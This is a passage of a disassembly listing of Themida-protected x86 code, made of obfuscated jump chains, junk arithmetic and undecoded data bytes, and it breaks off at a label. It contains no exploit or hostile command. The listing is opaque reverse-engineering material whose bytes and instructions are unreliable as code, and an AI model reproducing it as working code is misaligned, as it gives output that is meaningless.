; ---------------------------------------------------------------------------
loc_5609D1: ; CODE XREF: Themida_:00554D2Fj
mov ecx, 478536C3h
add esi, ecx
pop ecx
sub esi, ebp
sub esi, 478536C3h
pop ebp
jmp loc_5601D5
; ---------------------------------------------------------------------------
db 59h
dd 4BE56h, 0F0010000h, 2404875Eh, 0FFC944E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_5609F9: ; CODE XREF: Themida_:00561EC2j
pop edi
push esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
mov esp, [esp]
mov [esp], ecx
mov ecx, 28h
jmp loc_557B52
; ---------------------------------------------------------------------------
db 8
dd 0B7535BFAh, 55F7803Eh, 205FC780h, 0EA805BFAh, 0B033E971h
dd 3C89FFFFh, 75356824h, 24890000h, 4BF5724h, 81000000h
dd 0D604246Ch, 17D547Eh, 8104247Ch, 0D6042444h, 5F7D547Eh
dd 83243C8Bh, 0E95004C4h, 0FFFFA5CDh
; ---------------------------------------------------------------------------
loc_560A5C: ; CODE XREF: Themida_:00553859j
mov edx, 4
add eax, edx
pop edx
push eax
jmp loc_5651E6
; ---------------------------------------------------------------------------
dw 435h
aZJsP db 'z',1Bh,'Jé¾P',0
align 4
dd 4EC835Ah, 89243489h, 4BF57E6h, 0E9000000h, 0FFFF41D1h
dd 11E3815Ah, 513E6D00h, 6248D0B9h, 94F18157h, 31034724h
dd 0DA2159CBh, 81241C8Bh, 4C4h, 4F28100h, 0E9402160h, 0FFFFEB41h
dd 3EE9D5F7h, 1FFFF9Ah, 68575FFEh, 1BEA8F31h, 7499E9h
dd 24048900h, 42474FFh, 0E924048Bh, 4E9Ch, 5165EF81h, 2EE950B6h
dd 21FFFF74h, 34FF1C47h, 89525824h, 4C281E2h, 83000000h
dd 148704C2h, 70E95C24h, 81000045h, 0AD2C79CAh, 8123E902h
dd 8158FFFFh, 4F8DE0F6h, 0E9F00163h, 0FFFFD4B7h, 8104C483h
dd 6046A8C6h, 81FE0132h, 6046A8EEh, 243C8B32h, 104C483h
dd 32BF57C6h, 81660F79h, 2D6FA4E7h, 0FFC78365h, 0F9DCF81h
dd 0E7C17C1Eh, 81E7D106h, 0B77F6FEFh, 0E9FE29EBh, 63D5h
dd 5C243C87h, 2474FF53h, 48F5B04h, 24248B24h, 4B30F66h
dd 0C5E99C24h
db 20h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560B73: ; CODE XREF: Themida_:0055D78Cj
mov ecx, 3A1A0DB2h
add [esp+4], ecx
pop ecx
mov edi, [esp]
add esp, 4
jmp loc_56033B
; ---------------------------------------------------------------------------
dd 4C28158h, 87000000h, 67E92414h, 52FFFF3Ch, 0C009B050h
dd 432C03E8h, 7DE9C688h, 0FFFFB2h, 526658C2h, 1242C80h
dd 0CA805A66h, 4EC830Ah, 0B7241C89h, 2161E9D8h, 48B0000h
dd 0BCE95124h, 51FFFFEBh, 0C181E189h, 4, 4E981h, 0C870000h
dd 24248B24h, 0B4240489h, 57B45039h, 803DEC80h, 0EB806CC4h
dd 80E300B1h, 0E958B1C3h, 0FFFFFBFFh, 240C875Ch, 8324248Bh
dd 1C8904ECh, 4F59E924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560C0E: ; CODE XREF: Themida_:00560549j
push eax
push 7B5179Fh
pop eax
add eax, 406F5CCEh
push 5E42h
mov [esp], eax
push edx
pop eax
jmp loc_55DF38
; ---------------------------------------------------------------------------
db 81h, 0E5h, 18h
dd 0F77FAE1Bh, 0FDED81D5h, 14697DBh, 2434FFE8h, 69BAE9h
dd 80E95800h, 31FFFF7Fh, 5F04247Ch, 0FF8CADE9h, 241433FFh
dd 6624248Bh, 5624048Bh, 24348B54h, 5398E9h
db 0
; ---------------------------------------------------------------------------
loc_560C65: ; CODE XREF: Themida_:00552F77j
push dword ptr [edi+eax*4]
push esi
push esi
push esp
pop esi
jmp loc_55DC78
; ---------------------------------------------------------------------------
db 59h, 81h, 0C1h
dd 4, 8704C183h, 0B6E9240Ch
db 61h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560C83: ; CODE XREF: Themida_:00563E4Aj
pop esi
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_55FCB4
; ---------------------------------------------------------------------------
dd 582434FFh, 8904EC83h, 5BE92414h, 87FFFFDFh, 248B2414h
dd 4C48324h, 5D5468h, 242C8900h, 32E9E589h
db 24h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_560CBF: ; CODE XREF: Themida_:0055753Aj
pop dword ptr [esp]
pop esp
jmp loc_562146
; ---------------------------------------------------------------------------
loc_560CC8: ; CODE XREF: Themida_:00566A28j
xor bh, 0EFh
jmp loc_552C6B
; ---------------------------------------------------------------------------
dd 0E95FF801h, 0FFFFC32Ch
; ---------------------------------------------------------------------------
loc_560CD8: ; CODE XREF: Themida_:005532CFj
add ebp, 4
sub ebp, 4
xchg ebp, [esp]
mov esp, [esp]
mov [esp], edi
mov edi, esp
add edi, 4
sub edi, 4
xchg edi, [esp]
mov esp, [esp]
mov [esp], eax
push esp
pop eax
push ebp
sub esp, 4
mov [esp], edi
mov edi, 55D25ED6h
push ecx
mov ecx, edi
mov ebp, ecx
pop ecx
pop edi
jmp loc_56279D
; ---------------------------------------------------------------------------
db 0B5h, 5Eh, 88h
dd 0CC33E9ECh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560D2A: ; CODE XREF: Themida_:0055F87Dj
push ebp
push esp
jmp loc_565DBB
; ---------------------------------------------------------------------------
loc_560D31: ; CODE XREF: Themida_:0055B216j
add dl, 0B5h
sub dl, cl
jmp loc_55C07B
; ---------------------------------------------------------------------------
db 58h
dd 1FE9E989h, 29000073h, 930FE9FBh, 32CFFFFh, 304D828h
dd 0FFCD79E9h, 241487FFh, 5624248Bh, 0FF422EE9h, 505266FFh
dd 1FA5E9h
db 0
; ---------------------------------------------------------------------------
loc_560D69: ; CODE XREF: Themida_:005560DAj
push edi
jmp loc_564B28
; ---------------------------------------------------------------------------
db 0BDh
dd 4, 4246C01h, 1601E9h, 68565700h, 7C303E04h, 91E9525Eh
db 91h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560D8B: ; CODE XREF: Themida_:00559FB2j
mov edx, 19D254F4h
sub edx, 8065A32h
shl edx, 2
add edx, 0FFFFFFFFh
push eax
push esi
push 117462D2h
pop esi
jmp loc_561F5A
; ---------------------------------------------------------------------------
db 0BEh, 0ECh, 2Dh
dd 0C6816FBAh, 0E4EB31C6h, 315EF089h, 24048BC2h, 4C481h
dd 0F2810000h, 7401333Ch, 0FFCE0BE9h, 0BBE956FFh, 5CFFFF78h
dd 652B68h, 0C36FE900h, 3489FFFFh, 348B5424h, 0E9545324h
dd 5C53h, 0C5C2814Ah, 29A33EA4h, 3C335AD7h, 243C3124h
dd 8B243C33h, 3C892424h, 81E78924h, 4C7h, 0EF32E900h, 0E958FFFFh
dd 5EA7h
; ---------------------------------------------------------------------------
loc_560E18: ; CODE XREF: Themida_:0055E788j
add esp, 4
push ecx
mov ecx, 5E9620D9h
sub ecx, 683D5D5Fh
sub ecx, 0F658C376h
jmp loc_56775E
; ---------------------------------------------------------------------------
db 28h, 0DCh, 8Bh
dd 0C481241Ch, 4, 15E9E600h, 5DFFFF88h, 315FF989h, 240C8BCAh
dd 4C481h, 34E90000h, 4100003Fh, 4A22E981h, 0F1817F92h
dd 0F7A7DBB0h, 0E908E1C1h, 0FFFF80A0h, 87240489h, 0F751240Ch
dd 97E92414h, 33000033h, 0E95C241Ch, 0FFFFE75Ah, 83242489h
dd 58042404h, 0FF4139E9h, 2434FFFFh, 4C4835Bh, 38B85055h
dd 8922675Dh, 0C58158C5h, 6913094Bh, 0DABB534Dh, 81237021h
dd 16437CC3h, 38E38157h, 814D8F6Ch, 2C389EF3h, 15F38144h
dd 8153F37Fh, 5CE993EBh, 477FE9F7h, 0DAF7FFFFh, 52DE9h
dd 4EC8300h, 0E9240C89h, 1C48h, 0E0268h, 24348900h, 0C6815E54h
dd 4, 6AA068h, 0CDEDE900h, 335DFFFFh, 4312404h, 24043324h
dd 0FF54E3E9h, 24248BFFh, 0FFAF17E9h, 2434FFFFh, 592434FFh
dd 4EC8151h, 89000000h, 4812424h, 424h, 0E18DE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_560F36: ; CODE XREF: Themida_:00567C46j
add ecx, 4
push ebp
mov ebp, 4
push edx
mov edx, 27142DB7h
xor edx, 2BCD6D3Dh
sub ecx, edx
jmp loc_55B244
; ---------------------------------------------------------------------------
db 83h, 0C4h, 4
dd 3104C483h, 0E9008FC3h, 0FFFF1CD4h, 81242489h, 42404h
dd 0E95D0000h, 2B99h
; ---------------------------------------------------------------------------
loc_560F74: ; CODE XREF: Themida_:00563F04j
push eax
push edi
push dword ptr [esp]
push dword ptr [esp]
pop eax
add esp, 4
sub esp, 4
mov [esp], edi
mov edi, esp
push edx
mov edx, 6A6F3596h
jmp loc_55B82E
; ---------------------------------------------------------------------------
aIqyaCh db 'ˆïY€ÇCh',0
align 4
dd 8A243C28h, 0C483243Ch, 106DE904h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_560FB2: ; CODE XREF: Themida_:0055BA1Ej
pop edx
shl edx, 2
sub edx, 1ADB753Fh
add edx, 3B2DDA13h
mov ebp, edx
mov edx, [esp]
push ecx
jmp loc_564AC6
; ---------------------------------------------------------------------------
loc_560FCD: ; CODE XREF: Themida_:0055CE72j
and eax, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
push ebx
mov ebx, esp
add ebx, 4
add ebx, 4
jmp loc_55FF70
; ---------------------------------------------------------------------------
db 52h
dd 87CB951h, 0BD556DFEh, 313F533Ch, 24348155h, 31E2323Fh
dd 3FB8505Ah, 0E931E232h, 0FFFF6F8Dh, 24248Bh, 0E99C2404h
dd 2A88h
; ---------------------------------------------------------------------------
loc_56101C: ; CODE XREF: Themida_:0055C838j
mov esp, [esp]
push ebp
push esp
pop ebp
sub esp, 4
mov [esp], edx
jmp loc_566B72
; ---------------------------------------------------------------------------
db 89h, 34h, 24h
dd 26C36852h, 0F75A28CAh, 60B2E9D2h, 0C4830000h, 1E356804h
dd 2C890000h, 0D286824h, 565D3C37h, 370D24BEh, 0E9F5293Ch
dd 0FFFF4986h, 0FF1BD7E9h, 4C681FFh, 0E9000000h, 68A2h
dd 0FF1BC7E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561071: ; CODE XREF: Themida_:00552CE6j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_567FA3
; ---------------------------------------------------------------------------
db 31h
dd 0EFE92434h
db 82h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56108B: ; CODE XREF: Themida_:0055A5B7j
mov cl, 2Ch
neg cl
xor cl, 0CFh
mov dl, cl
pop ecx
push bx
mov bh, 0EFh
xor dl, bh
pop bx
jmp loc_55E66B
; ---------------------------------------------------------------------------
dw 4BFh
dd 81000000h, 0F72B5AC3h, 2D85E914h, 0D0290000h, 0E904EC83h
dd 0FFFFD190h, 4EC81h, 4890000h, 5251B424h, 0E2C050B2h
dd 0FFB05005h, 58C200h, 0F247E9D4h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5610DA: ; CODE XREF: Themida_:0055BC46j
pop edi
add esp, 4
push ebp
jmp loc_553A8C
; ---------------------------------------------------------------------------
db 5
dd 4, 405h, 24048700h, 0FFCF61E9h, 686659FFh, 0A2E978D6h
dd 0BFFFFF97h, 2E740A8Ch, 54A9EF81h, 0F74741D4h, 0A6E781D7h
dd 0C1116B46h, 0EF8105EFh, 8D268A88h, 1E9F809h, 0B9FFFF88h
dd 77C5474Ch, 2758E181h, 0D9F71F41h, 6EA4BE56h, 0F12168F0h
dd 8A91E95Eh, 868FFFFh, 89000025h, 0E589242Ch, 4C581h
dd 0ED830000h, 242C8704h, 0FFC548E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56115D: ; CODE XREF: Themida_:00564C5Fj
shl eax, 8
sub eax, 4D1D06FCh
mov ecx, eax
pop eax
sub esi, 3264976h
add esi, ecx
add esi, 3264976h
pop ecx
sub esi, 4
xchg esi, [esp]
pop esp
jmp loc_55A4D8
; ---------------------------------------------------------------------------
db 0BFh
dd 93169A5h, 8B5FF801h, 89502414h, 6356E9E0h, 0C4810000h
dd 4, 8104E6C1h, 0FFFFFFEEh, 0F4CE81FFh, 814ED00Dh, 8843B2CEh
dd 6CEE812Dh, 311E5F2Dh, 0E7815EF7h, 31AE35BDh, 3729C781h
dd 89E921B1h
db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5611CB: ; CODE XREF: Themida_:00564D06j
pop edx
add edx, 4
push esi
mov esi, 4
sub edx, esi
pop esi
jmp loc_559539
; ---------------------------------------------------------------------------
loc_5611E0: ; CODE XREF: Themida_:00564668j
mov [esp], ebx
push ecx
mov cl, 2Dh
or cl, 0D7h
add cl, 0FFh
jmp loc_5649D2
; ---------------------------------------------------------------------------
db 0B5h, 2Eh, 0E9h
dd 0FFFF956Ah
; ---------------------------------------------------------------------------
loc_5611F8: ; CODE XREF: Themida_:0055F1E6j
add edi, ebp
jmp loc_56035C
; ---------------------------------------------------------------------------
db 5Fh
dd 0A3208C05h, 292BE91Ch, 0E953FFFFh, 0FFFFEDCFh
; ---------------------------------------------------------------------------
loc_561210: ; CODE XREF: Themida_:005600EEj
push 3CD6h
mov [esp], esp
jmp loc_565AF1
; ---------------------------------------------------------------------------
db 83h, 0C3h, 4
dd 0FFF3C2E9h, 5DEA01FFh, 5024348Bh, 0C30E9h
db 0
; ---------------------------------------------------------------------------
loc_561231: ; CODE XREF: Themida_:0055BBE5j
add al, 0FCh
pop ecx
jmp loc_564663
; ---------------------------------------------------------------------------
db 81h, 0F1h, 8Ch
dd 0C120C861h, 25E907E9h, 0FFFFFF4Ch, 83592434h, 0E5E904C4h
dd 21FFFF19h, 0EFC15AD7h, 1C78308h, 8AE9DFF7h, 81000011h
dd 0F018EFCAh, 0FBF28153h, 892CABA3h, 57ABE9D0h, 0D0F7FFFFh
dd 153AC50Dh, 3E8C15Fh, 5DB4E9h
db 0
; ---------------------------------------------------------------------------
loc_561285: ; CODE XREF: Themida_:005612DDj
add eax, 4
add eax, 4
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
pop esp
push ebp
jmp loc_5669C2
; ---------------------------------------------------------------------------
loc_56129D: ; CODE XREF: Themida_:0056450Dj
mov eax, esp
push ecx
push edi
jmp loc_56801F
; ---------------------------------------------------------------------------
dw 0C783h
dd 243C8704h, 388B685Ch, 14890000h, 0FB776824h, 3EE9522Dh
dd 0BAFFFFB5h, 4815820h, 0DAF7D2F7h, 2B73C281h, 0B8500C3Dh
dd 15C7293Bh, 8EE9D8F7h
db 81h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5612DB: ; CODE XREF: Themida_:005573F8j
mov eax, esp
jmp loc_561285
; ---------------------------------------------------------------------------
loc_5612E2: ; CODE XREF: Themida_:005652E9j
add esp, 4
sub esp, 4
mov [esp], esi
push dword ptr [esp+4]
pop esi
pop dword ptr [esp]
jmp loc_55E10B
; ---------------------------------------------------------------------------
loc_5612F8: ; CODE XREF: Themida_:005583BEj
mov [esp], eax
jmp loc_55944B
; ---------------------------------------------------------------------------
loc_561300: ; CODE XREF: Themida_:0055365Ej
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
sub dword ptr [esp], 481640BFh
add [esp], eax
push ebp
mov ebp, 481640BFh
add [esp+4], ebp
pop ebp
sub dword ptr [esp], 26B25048h
jmp loc_552C38
; ---------------------------------------------------------------------------
db 5Ah, 31h, 0D6h
dd 0AAE9F231h, 29FFFFF3h, 5AE95AD3h, 0FF000064h, 835E2434h
dd 7EE904ECh, 58000068h, 0A3FE9h, 5BD90000h, 0E9D7EC80h
dd 0FFFF5AE7h, 0E924248Bh, 1F6Eh
; ---------------------------------------------------------------------------
loc_561368: ; CODE XREF: Themida_:0055B14Fj
not esi
xor esi, 4D7F30BDh
neg esi
jmp loc_553C9A
; ---------------------------------------------------------------------------
loc_561377: ; CODE XREF: Themida_:0055F05Fj
sub ebp, ebx
pop ebx
add ecx, 5B97457Fh
add ecx, ebp
sub ecx, 5B97457Fh
jmp loc_56653B
; ---------------------------------------------------------------------------
loc_56138D: ; CODE XREF: Themida_:005668B4j
xchg edx, [esp]
pop esp
mov [esp], ecx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], esp
add dword ptr [esp], 4
pop ecx
jmp loc_563D78
; ---------------------------------------------------------------------------
loc_5613B3: ; CODE XREF: Themida_:00559CAFj
push edi
jmp loc_564B63
; ---------------------------------------------------------------------------
db 89h, 2Ch, 24h
dd 0BE56E589h, 327D0A7Ch, 0C106EEC1h, 0C5E903EEh
db 32h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5613CF: ; CODE XREF: Themida_:00565624j
mov ah, 7Dh
jmp loc_559267
; ---------------------------------------------------------------------------
dw 0C7B3h
dd 76E93AB1h, 5BFFFFFFh, 0FF295BE9h, 2BE56FFh, 81000000h
dd 0A50E4AC2h, 5AC28165h, 296F2053h, 5AEA81F2h, 566F2053h
dd 0A50E4ABEh, 0DED0E965h, 0EAC1FFFFh, 1AE95108h, 51FFFFE6h
dd 592414F6h, 0FFB7B6E9h
db 0FFh
; ---------------------------------------------------------------------------
loc_56141D: ; CODE XREF: Themida_:0056816Bj
push eax
mov eax, 1353178Dh
sub eax, 13531789h
jmp loc_564F12
; ---------------------------------------------------------------------------
db 66h, 8Bh, 4
dd 4EC8124h, 89000000h, 0E389241Ch, 16386852h, 34890000h
dd 6AE95124h, 83FFFFC0h, 59042404h, 7A5368h, 242C8900h
dd 6C5F48BDh, 0B0ED8174h, 0E959DC47h, 0FFFFB908h
; ---------------------------------------------------------------------------
loc_561468: ; CODE XREF: Themida_:005647D2j
add ebp, edi
pop edi
add ebp, 7E201EE0h
add ebp, 4BBE10EDh
add ebp, eax
sub ebp, 4BBE10EDh
jmp loc_56390D
; ---------------------------------------------------------------------------
dd 24048F5Ch, 6624248Bh, 0E9240C89h, 0FFFFC23Dh, 7313E945h
dd 1C8BFFFFh, 4C48124h, 81000000h, 4C4h, 68C38000h, 0E9A2C380h
dd 0FFFFCEA2h
; ---------------------------------------------------------------------------
loc_5614B4: ; CODE XREF: Themida_:005602D5j
push edx
jmp loc_55CBAA
; ---------------------------------------------------------------------------
dw 0CE89h
dd 8B5EF089h, 0C481240Ch, 4, 8758C601h, 815C2434h, 4ECh
dd 434DE900h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_5614DA: ; CODE XREF: Themida_:00562998j
dec bl
sub esp, 4
mov [esp], edx
mov dh, 0E4h
shr dh, 6
jmp loc_567B78
; ---------------------------------------------------------------------------
db 5Fh
dd 6AD2BE56h, 0CE812CD0h, 728C7A50h, 0CB6EE81h, 0F6812848h
dd 468B3964h, 0C681DEF7h, 101F577Ah, 335EF201h, 14312414h
dd 24143324h, 0FF48F5E9h, 42ED81FFh, 0E9F0B578h, 0FFFFAAD5h
dd 4BDh, 5DEF0100h, 4EF81h, 0D4E90000h, 89000055h, 0C5B3E9E0h
dd 6664FFFFh, 5451028Bh, 4C18159h, 81000000h, 4E9h, 240C8700h
dd 0FFE04BE9h
db 0FFh
; ---------------------------------------------------------------------------
loc_561561: ; CODE XREF: Themida_:0055988Cj
pop ecx
sub ecx, 0BE7950ABh
add ebx, 530828AAh
sub ebx, ecx
sub ebx, 530828AAh
jmp loc_5595D7
; ---------------------------------------------------------------------------
db 57h
dd 0FFE60EE9h, 5D8F7FFh, 24064B7Dh, 797ABB53h, 0D3F7113Eh
dd 3048EB81h, 0EC8374FCh, 895CE904h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56159E: ; CODE XREF: Themida_:00562798j
mov eax, [esp]
add esp, 4
add esp, 4
xor eax, 66170F4Ah
jmp loc_564186
; ---------------------------------------------------------------------------
dd 0ECD8E943h, 2C89FFFFh, 2EDBBD24h, 52450CBFh, 1D633FBAh
dd 0FFD53157h, 815A2434h, 4C4h, 0E7F58100h, 15BA24Dh, 0DAC2E9EBh
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5615E2: ; CODE XREF: Themida_:005627AFj
push dword ptr [esp]
pop ebp
add esp, 4
jmp loc_55AC05
; ---------------------------------------------------------------------------
db 89h, 0F7h, 8Bh
dd 0C4812434h, 4, 0C159CF31h, 0E78104E7h, 28654640h, 1E21E952h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56160E: ; CODE XREF: Themida_:00566DB3j
mov ch, bh
push dword ptr [esp]
pop ebx
push 13E2h
mov [esp], ecx
mov ecx, esp
jmp loc_56780E
; ---------------------------------------------------------------------------
db 88h
dd 0F90E9E5h
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_56162A: ; CODE XREF: Themida_:0055C57Fj
jnz loc_567DFC
push ebx
sub esp, 4
jmp loc_56583C
; ---------------------------------------------------------------------------
loc_561639: ; CODE XREF: Themida_:00559A90j
add ebx, ebp
sub ebx, 22BD61A3h
jmp loc_55DA7F
; ---------------------------------------------------------------------------
loc_561646: ; CODE XREF: Themida_:0056744Dj
pop esi
jmp loc_564860
; ---------------------------------------------------------------------------
loc_56164C: ; CODE XREF: Themida_:00566336j
add dh, 0FFh
dec dh
sub dh, 0A9h
shl dh, 4
push bx
mov bh, 0F7h
xor dh, bh
pop bx
jmp loc_554861
; ---------------------------------------------------------------------------
dd 0B7241C89h, 3E7C0A4h, 0DFF6D7F6h, 70E9C7FEh, 0C1FFFFD2h
dd 55E907EEh
db 7Ah, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56167F: ; CODE XREF: Themida_:00558DF3j
mov eax, esp
push ebp
jmp loc_5653A3
; ---------------------------------------------------------------------------
db 89h
dd 4EE92424h
db 63h, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_56168F: ; CODE XREF: Themida_:00556EFAj
mov [esp], ebp
mov ebp, esp
jmp loc_565548
; ---------------------------------------------------------------------------
loc_561699: ; CODE XREF: Themida_:0055F88Cj
mov [esp], edi
jmp loc_563C6F
; ---------------------------------------------------------------------------
db 0BDh, 0EBh, 76h
dd 0C581540Fh, 0FFFFFFFFh, 3CF2CD81h, 0CD8121ACh, 581C6506h
dd 17BDE9h, 24148900h, 0F368E289h, 8900006Eh, 21BD242Ch
dd 0F7527141h, 0C5814DD5h, 52714127h, 0FFCA44E9h, 45A72DFFh
dd 0A52D4BFBh, 2170DDCCh, 0EA8158C2h, 0F729C3C9h, 0E95AD029h
dd 0FFFFE4ABh, 68241C89h, 2CC9h, 0FFCB66E9h, 1D5605FFh
dd 0BA521209h, 7A1C3001h, 5B13F281h, 0C2810F41h, 0B83C0F7Dh
dd 148BD001h, 4C48124h, 2D000000h, 14C457DBh, 0DB05E801h
dd 2D14C457h, 2D997A8Fh, 91D562Dh, 242C8B12h, 81E18951h
dd 4C1h, 4BE5600h, 0E9000000h, 6A24h, 427B68h, 240C8900h
dd 8904EC83h, 68532414h, 58703D7Fh, 5B51535Bh, 0E9D1F759h
dd 68F6h, 0E3B4EE81h, 0F701D9F4h, 0FF3FADE9h, 240481FFh
dd 4, 0FBE9525Bh, 8100002Ch, 1B3877EAh, 0DFBD5508h, 0E964C25Fh
dd 0FFFF9203h, 740AE993h, 0EF28FFFFh, 6EEF8059h, 0FE5BF900h
dd 0E217E9C9h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5617B6: ; CODE XREF: Themida_:005659D2j
sub esp, 4
mov [esp], edx
jmp loc_5677E7
; ---------------------------------------------------------------------------
loc_5617C1: ; CODE XREF: Themida_:00564DC1j
add edi, esi
jmp loc_554AC7
; ---------------------------------------------------------------------------
loc_5617C8: ; CODE XREF: Themida_:0055B849j
add edi, 3FDE345Fh
pop edx
push ebx
jmp loc_55C7F3
; ---------------------------------------------------------------------------
db 28h, 0EBh, 59h
dd 0E950C328h, 0FFFF2DD9h, 6824248Bh, 6E8Eh, 52241489h
dd 0FF9FDCE9h, 241C8BFFh, 0E904C483h, 0FFFF9099h
; ---------------------------------------------------------------------------
loc_5617FC: ; CODE XREF: Themida_:0055D41Bj
xor [esp], ebp
xor ebp, [esp]
pop esp
push esi
jmp loc_552C94
; ---------------------------------------------------------------------------
loc_561809: ; CODE XREF: Themida_:0055C3BBj
pop ebx
push eax
push esp
pop eax
jmp loc_56030D
; ---------------------------------------------------------------------------
dw 0DF01h
dd 0FFC498E9h, 0A1C480FFh, 8841C480h, 24048BE2h, 4C481h
dd 28B70000h, 0C008E7C0h, 0F78002E7h, 0E8D7E9F6h, 6855FFFFh
dd 6055765Ah, 0FF495DE9h, 0C3815BFFh, 2A6F0093h, 0C1EB815Fh
dd 81434C61h, 27A3B4C3h, 2C8153EAh, 0DB68D624h, 6FE95E19h
dd 29FFFFCAh, 0B5E95BD8h
db 16h, 2 dup(0)
; ---------------------------------------------------------------------------
loc_56186F: ; CODE XREF: Themida_:00552E3Dj
mov edx, [esp]
jmp loc_555635
; ---------------------------------------------------------------------------
db 5Bh
dd 348BF301h, 0E7895724h, 4C781h, 0C7810000h, 4, 0FFF2C7E9h
dd 0BF5750FFh, 1B9445F8h, 3C8BF889h, 4C48124h, 31000000h
dd 76E958C5h
db 0FCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5618AB: ; CODE XREF: Themida_:0055F720j
add eax, edx
mov edx, [esp]
add esp, 4
push ebp
jmp loc_56468A
; ---------------------------------------------------------------------------
loc_5618BC: ; CODE XREF: Themida_:00565E07j
xor ebp, 7AB56033h
xor ebp, 0D34A8D88h
add edi, ebp
pop ebp
jmp loc_56717D
; ---------------------------------------------------------------------------
dd 5E2434FFh, 56E28952h, 817CFDBEh, 61DBE937h, 0B850FFFFh
dd 78FA027Fh, 0E9E9C229h
db 1Ch, 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5618EF: ; CODE XREF: Themida_:0055CC71j
push eax
mov eax, 28D96D5Ah
sub eax, 4E1D1C8Ch
push ebp
jmp loc_562E38
; ---------------------------------------------------------------------------
dd 665DEDB9h, 59CE0175h, 0EE81EE01h, 75665DEDh, 17BF575Dh
dd 0E94BD106h, 0A68h
; ---------------------------------------------------------------------------
loc_56191C: ; CODE XREF: Themida_:005670AAj
pop ebx
sub ebx, 6932E722h
mov eax, ebx
pop ebx
mov ebx, eax
pop eax
add ebx, 0FFF9A011h
add edi, ebx
pop ebx
jmp loc_556868
; ---------------------------------------------------------------------------
db 58h
dd 8304C483h, 0D4E904C4h, 0F7FFFF67h, 0EEED81D5h, 100E99Fh
dd 66DE9E9h, 0C6810000h, 4, 0FF1A01E9h, 242C89FFh, 4EC81h
dd 2C890000h, 81E58924h, 4C5h, 9DE95200h, 57000053h, 0FFDF7FE9h
dd 25F480FFh, 742968h, 241C8900h, 0A8E9A6B3h, 8B000044h
dd 0C481240Ch, 4, 0E949C380h, 0FFFF168Bh
db 59h
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xor ebp, [esp]
jmp loc_5563C2
; ---------------------------------------------------------------------------
loc_5619B8: ; CODE XREF: Themida_:0055B0CFj
add edi, 25F24686h
push edi
push dword ptr [esp]
jmp loc_563BF9
; ---------------------------------------------------------------------------
loc_5619C7: ; CODE XREF: Themida_:00567678j
inc edi
jmp loc_556D66
; ---------------------------------------------------------------------------
db 0E9h, 66h, 12h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_5619D2: ; CODE XREF: Themida_:0055FD8Bj
pop esp
jmp loc_55A508
; ---------------------------------------------------------------------------
dd 69085FBBh, 0A049E94Fh, 3EBDFFFFh, 815CCD76h, 0F9516FCDh
dd 0E3C58127h, 814E796Fh, 5A7B84C5h, 0D9C58126h, 81611F5Ch
dd 2A8EF2F5h, 5DE8013Bh, 2A001F05h, 296C057Ch, 0EC814FDBh
dd 4, 0FFF610E9h, 1C77FFFFh, 6659669Dh, 9C241CD3h, 0FFFFA0E9h
dd 895159FFh, 4C181E1h, 83000000h, 0C8704C1h, 71CAE924h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
loc_561A42: ; CODE XREF: Themida_:005556A9j
add edx, 4
push ecx
mov ecx, esp
jmp loc_55E029
; ---------------------------------------------------------------------------
loc_561A50: ; CODE XREF: Themida_:0055D866j
sub edx, ebx
add edx, 626A7534h
push edi
mov edi, 287724A0h
neg edi
shr edi, 7
xor edi, 6F953006h
add edx, 7DDF1D4Bh
jmp loc_5675A9
; ---------------------------------------------------------------------------
loc_561A74: ; CODE XREF: Themida_:005596C3j
xchg ecx, [esp]
jmp loc_5581B2
; ---------------------------------------------------------------------------
dd 2434FF5Bh, 83243C8Bh, 966804C4h, 8900007Fh, 0E189240Ch
dd 0FF18E6E9h, 240489FFh, 0E953C888h, 0FFFF5B4Eh, 4240483h
dd 1E4BE9h, 4005AD00h, 56362B1Dh, 2B59E1BEh, 55F6813Eh
dd 0E90C8C67h, 11B8h, 8350E689h, 3C8904ECh, 4BF24h, 0F8890000h
dd 58C6015Fh, 0FFA1A8E9h, 0E9F131FFh, 567Dh
; ---------------------------------------------------------------------------
loc_561AE0: ; CODE XREF: Themida_:005669EAj
xor ebx, 7F0F71A1h
xor ebx, 59F7D5Fh
and ebx, 4AFA6AE1h
and ebx, 388464C7h
jmp loc_55A0A1
; ---------------------------------------------------------------------------
loc_561AFD: ; CODE XREF: Themida_:0055847Cj
sub edx, 9C92D35h
mov esi, [esp]
jmp loc_5596B7
; ---------------------------------------------------------------------------
loc_561B0B: ; CODE XREF: Themida_:00557B61j
